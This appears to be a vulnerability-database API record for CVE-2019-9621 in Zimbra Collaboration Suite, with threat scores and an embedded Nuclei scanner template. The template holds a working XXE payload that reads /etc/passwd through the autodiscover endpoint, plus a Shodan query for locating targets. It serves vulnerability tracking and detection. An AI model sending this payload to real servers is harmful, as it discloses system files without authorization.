{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2019-9621/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2019-9621/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2019-9621/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2019-9621/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2019-9621/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2019-9621"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2019-9621"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.81037,
      "kev": true,
      "percentile": 0.99613
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2019/CVE-2019-9621.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2019-9621\n\ninfo:\n  name: Zimbra Collaboration Suite - SSRF\n  author: riteshs4hu\n  severity: high\n  description: |\n    Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7 or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.\n  impact: |\n    Attackers can perform SSRF, potentially leading to internal network access or further exploitation.\n  remediation: |\n    Update to the latest patched versions: 8.6 patch 13, 8.7.11 patch 10, 8.8.10 patch 7, or 8.8.11 patch 3 or later.\n  reference:\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/zimbra_xxe_rce.rb\n    - https://nvd.nist.gov/vuln/detail/cve-2019-9621\n    - http://packetstormsecurity.com/files/153190/Zimbra-XML-Injection-Server-Side-Request-Forgery.html\n    - https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html\n    - https://bugzilla.zimbra.com/show_bug.cgi?id=109127\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2019-9621\n    cwe-id: CWE-918\n    epss-score: 0.81037\n    epss-percentile: 0.99614\n    cpe: cpe:2.3:a:zimbra:collaboration_server:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: zimbra\n    product: collaboration_server\n    shodan-query: html:\"Zimbra Collaboration Suite Web Client\"\n  tags: cve,cve2019,zimbra,collaboration-server,oast,oob,xxe,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /autodiscover HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\"?>\n        <!DOCTYPE soap [\n        <!ELEMENT soap ANY >\n        <!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>\n        <Autodiscover>\n          <Request>\n            <EMailAddress>test@example.com</EMailAddress>\n            <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>\n          </Request>\n        </Autodiscover>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('root:.*:0:0:', body)\n          - contains(body, \"response schema\")\n          - contains(header, \"text/html\")\n        condition: and\n# digest: 4b0a00483046022100910321f32d8ebf0ed74afd8d8f6af8aaaadd53f21df6b15764e1f4232b30a252022100ed03dbd6c579c20b8c463d55071da8ead433fb1146cd12bc8ac425e5af63feba:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2019-9621"
}